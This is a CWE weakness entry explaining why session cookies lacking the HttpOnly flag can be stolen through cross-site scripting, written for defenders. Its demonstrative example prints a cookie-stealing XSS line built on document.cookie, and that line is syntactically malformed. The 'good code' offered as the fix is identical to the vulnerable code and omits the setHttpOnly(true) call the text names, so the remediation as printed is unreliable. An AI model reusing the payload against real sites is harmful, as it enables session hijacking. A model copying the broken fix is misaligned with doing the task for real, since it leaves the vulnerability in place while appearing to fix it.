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CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag

Weakness ID: 1004
Abstraction: Variant
Structure: Simple
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+ Description
The software uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.
+ Extended Description
The HttpOnly flag directs compatible browsers to prevent client-side script from accessing cookies. Including the HttpOnly flag in the Set-Cookie HTTP response header helps mitigate the risk associated with Cross-Site Scripting (XSS) where an attacker's script code might attempt to read the contents of a cookie and exfiltrate information obtained. When set, browsers that support the flag will not reveal the contents of the cookie to a third party via client-side script executed via XSS.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.732Incorrect Permission Assignment for Critical Resource
+ Background Details
An HTTP cookie is a small piece of data attributed to a specific website and stored on the user's computer by the user's web browser. This data can be leveraged for a variety of purposes including saving information entered into form fields, recording user activity, and for authentication purposes. Cookies used to save or record information generated by the user are accessed and modified by script code embedded in a web page. While cookies used for authentication are created by the website's server and sent to the user to be attached to future requests. These authentication cookies are often not meant to be accessed by the web page sent to the user, and are instead just supposed to be attached to future requests to verify authentication details.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Architecture and Design
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.


Class: Not Language-Specific (Undetermined Prevalence)


Class: Web Based (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

Technical Impact: Read Application Data

If the HttpOnly flag is not set, then sensitive information stored in the cookie may be exposed to unintended parties.

Technical Impact: Gain Privileges or Assume Identity

If the cookie in question is an authentication cookie, then not setting the HttpOnly flag may allow an adversary to steal authentication data (e.g., a session ID) and assume the identity of the user.
+ Likelihood Of Exploit
+ Demonstrative Examples

Example 1

In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.

The snippet of code below establishes a new cookie to hold the sessionID.

(bad code)
Example Language: Java 
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);

The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:

(attack code)
Example Language: JavaScript 
document.write('<img src="' + document.cookie . '">'

When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.

To mitigate the risk, use the setHttpOnly(true) method.

(good code)
Example Language: Java 
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
+ Observed Examples
CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie.
Appliance for managing encrypted communications does not use HttpOnly flag.
+ Potential Mitigations

Phase: Implementation

Leverage the HttpOnly flag when setting a sensitive cookie in a response.

Effectiveness: High

Note: While this mitigation is effective for protecting cookies from a browser's own scripting engine, third-party components or plugins may have their own engines that allow access to cookies. Attackers might also be able to use XMLHTTPResponse to read the headers directly and obtain the cookie.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1349OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration
+ References
[REF-2] OWASP. "HttpOnly". <>.
[REF-3] Michael Howard. "Some Bad News and Some Good News". 2002. <>.
[REF-4] Troy Hunt. "C is for cookie, H is for hacker - understanding HTTP only and Secure cookies". 2013-03-26. <>.
[REF-5] Microsoft. "Mitigating Cross-site Scripting With HTTP-only Cookies". <>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2017-01-02CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, References, Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
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Page Last Updated: October 13, 2022